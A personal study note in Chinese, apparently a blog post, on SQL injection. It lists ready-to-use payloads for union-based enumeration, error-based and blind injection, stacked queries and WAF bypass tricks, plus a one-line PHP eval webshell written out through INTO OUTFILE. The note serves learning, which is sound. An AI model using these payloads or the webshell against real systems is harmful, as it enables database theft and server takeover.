web安全学习笔记--sql基础下(sql注入)

目录

一、SQL函数

二、SQL注入类型

2-1 字符及整数型注入

2-2 报错注入

2-3 布尔及时间盲注

2-4 堆叠注入

三、WAF绕过及关键词过滤

关键词绕过

WAF绕过

sql-quine


一、SQL函数

1-1 读取函数以及导出函数(要求有读写权限以及文件绝对路径

load_file()函数可用于读取敏感文件,into outfile/dumofile导出函数可用于写webshell

读配置文件:1' union select 1,2,load_file(/var/www/html/xxx.com/.user.ini)#
写webshell:1' union select <?php eval($_POST['pwd'])?> into outfile '绝对路径'#

1-2 常见函数:concat(用于连接字符串),group_concat(联合返回执行结果),count(返回指定匹配条件的数目),floor(取整),as(取别名,一般用于绕过),group by(用于结合合计函数,根据一个或多个列对结果集进行分组),rename(重命名,要与as区分开,可用于堆叠绕过),rand(取随机数,内含种子)、prepare(定义预处理语句)、execute(执行预处理语句)

二、SQL注入类型

2-1 字符及整数型注入

注入过程:1.判断是否有注入点:and 、or 、xor等逻辑条件错误来判断

2.爆列数(order by):页面报错时即为前一列的数目

3.判断回显列:union select 1,2,3,...(列数),观察页面回显了哪个数字

4.判断用户权限、数据库和数据库版本:在有回显的列数替换user()--返回用户;version()--返回数据库版本;database()--返回数据库

5.爆表名(mysql版本低于5.x的采用爆破):高于5.x版本MySQL自带information_schema数据库,里面包含了tables表--记录所有表名和columns表--记录所有列名,union select 1,group_concat(table_name),3... from information_schema.tables where table_schema=database();

注意:group_concat将查询的所有数据集返回,如果要单条返回可使用LIMIT 0,1(0为返回的序号,从0开始计算为第一行;1为一次返回的行数);from代指查询来源于information_schema的tables表,因为是跨库查询(tables表在information_schema下,只有高权限才能操作)所以要加入查询的数据库;where代指查询条件为当前数据库的表

6.爆列名:union select 1,group_concat(column_name),3... from information_schema.columns where table_schema='<表名>';记得加引号

7.爆数据:union select 1,group_concat(<列名>),3... from <表名>;不用加引号

2-2 报错注入

涉及函数:mid(字符串数据,开始截取位置,结束截取位置):从中间截取一段数据并输出,left(字符串数据,截取长度):从左开始截取一段数据并输出,right(字符串数据,截取长度):从右开始截取一段数据并输出

        1.group by报错: 原理是键名冲突,语句为' union select 1,count(*),concat(floor(rand(0)*2),(sql语句))x from information_schema.tables group by x --+;

个人理解的大概原理:floor(rand(0)*2)产生一串有规律的0和1的整数的数据,group by在进行数据整合插入表中时产生键名冲突,从而通过concat联合报错出数据库以及其他信息

2.updatexml:xpath文档报错,语句为or updatexml(1,concat(0x7e,(sql语句),0x7e),1)

 0x7e为~符号,将其加入只是方便辨别数据

3.extractvalue:和updatexml类似,语句为' and extractvalue(1,concat(0x7e,(sql语句),0x7e))

注意: group by输出的数据更完整,updatexml和extractvalue这两种报错输出的数据有长度限制,当利用limit单行输出时单行数据依旧不全可以考虑第一种或者使用right,mid,left函数让数据从不同位置开始输出

2-3 布尔及时间盲注

涉及函数:if(判断条件,为真执行语句,为假执行语句),substr(字符串数据,开始位置,截取长度),ascii(获取该字符的ASCII码)与char()函数相反,sleep(休眠时间),length(获取数据长度)

1.布尔盲注:针对页面不回显,通过页面返回数据是否正常判断结果是否正确,例如if(length(database()) = 6,1,0),当数据库长度为6时,页面返回正常

大致过程

判断长度:if(length(database())=$1$,1,0)
爆库名:if(ascii(substr(concat(database()),$1$,1))=$97$,1,0)
判断表名长度:if(length(select table_name from information_schema.tables where table_schema=database() limit $0$,1)=$1$,1,0)
爆表名:if(ascii(substr(concat(select table_name from information_schema.tables where table_schema=database() limit 0,1),$1$,1))=$97$,1,0)
...............
...............
...............
其余步骤类似,$$代表变量

2.时间盲注:和布尔类似,只不过页面内容不会改变,将判断成功的执行语句替换为sleep,根据页面延时判断

2-4 堆叠注入

堆叠注入指一行可以执行多个sql语句,在特殊情况下利用多个语句的拼接可达到绕过防火墙的作用,比如prepare和execute配合:set @sql=<要执行的语句>;prepare aaa from @sql;execute aaa;

三、WAF绕过及关键词过滤

关键词绕过

3-1 空格绕过:内联符/**/代替,括号()代替,url编码%20代替,特殊空格字符编码%a0和%7f代替,sql特性/*!*/绕过,换行符%0a绕过,连接符SQL server为+、oracle为||、MYSQL为空格绕过

3-2 关键词过滤绕过:双写绕过 -- 针对一次关键词替换为空过滤,<>绕过 -- 部分数据库有效

3-3 反序列化绕过:sql拼接反序列化数据进行绕过

3-4 关键词替换:=可替换为like或者正则regexp(),verision()类可替换@@version,and可以与or替换,or可替换||,and替换&&,if替换0^(异或),group by替换order by过滤,sys.schema_auto_increment_columns // sys.schema_table_statistics_with_buffer//mysql.innodb_table_stats//mysql.innodb_table_index可替换information_schema过滤

WAF绕过

3-5 fuzz测试:利用大量fuzz生成的字典进行爆破绕过

3-6 sql特性:sql语句select id/*!55555,username*/ from users:意思是mysql版本高于5.55.55,语句将被执行

3-7 url编码,16进制编码绕过:针对只对关键词内容检测,不对数据内容检测的过滤绕过

3-8 Handler语句替换:可以在堆叠注入的条件下使用该语法替换select,格式为:handler open <表名>;handle read first <表名>;handle close <表名>

3-9 参数污染:利用web服务器接收参数的顺序导致漏洞,例如:apeche+php默认接收最后一位参数->?id=/**&id=1 select 1,2,3#*/,程序接收的参数为1 select 1,2,3#*/,而waf匹配的语句是/**&id=1 select 1,2,3#*/默认被注释所以不过滤

3-10 %0A截断配合注释符:绕过单行匹配->union%23a%0Aselect 1,2,3#,在系统执行语句时换行符并不会中断语句,它是以;来判断语句结束的

 

 3-11 database过滤:使用未知表名查询报错

3-12 MD5绕过:用哈希碰撞出对应编码,比如ffifdyop这个万能密码,它经过MD5加密以及sql编码后为'or'6xx,使条件恒成立

sql-quine


后续学习更新

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值